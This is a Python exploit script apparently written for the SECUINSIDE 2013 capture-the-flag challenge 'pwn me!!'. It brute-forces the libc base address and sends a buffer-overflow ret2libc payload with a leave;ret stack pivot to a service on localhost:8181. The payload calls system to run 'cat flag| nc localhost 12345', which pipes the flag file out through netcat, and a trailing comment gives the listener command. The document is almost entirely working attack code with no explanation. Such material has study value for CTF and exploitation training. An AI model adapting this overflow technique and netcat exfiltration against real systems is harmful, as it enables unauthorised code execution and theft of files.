[SECUINSIDE 2013] pwn me!! - 750

exploit.py

from No___Op import *

offset = {
    '__libc_start_main': 0x19a00,
    'system': 0x40310,
    '/bin/sh': 0x16084c, # str
}

target = 'localhost:8181'


for base in range(0xf7500000, 0xf7600000, 0x1000):
	c = Pwning( target )

	print hex(base)

	libc_system = base + offset['system']
	libc_leave_ret = base + 0x0011dd15
	addr_buf = base + 0x1c2000 + 0x308

	payload  = 'a' * (0x300)
	payload += 'sori'
	payload += p32(libc_system)
	payload += 'sori'
	payload += p32(addr_buf + 0x10)
	payload += 'cat flag| nc localhost 12345\x00'
	payload += 'a' * (0x408 - len(payload))
	payload += p32(addr_buf)
	payload += p32(libc_leave_ret)

	c.read_until('what is your name? ')
	c.sendall(payload)
	time.sleep(0.1)

# nc -l -p 12345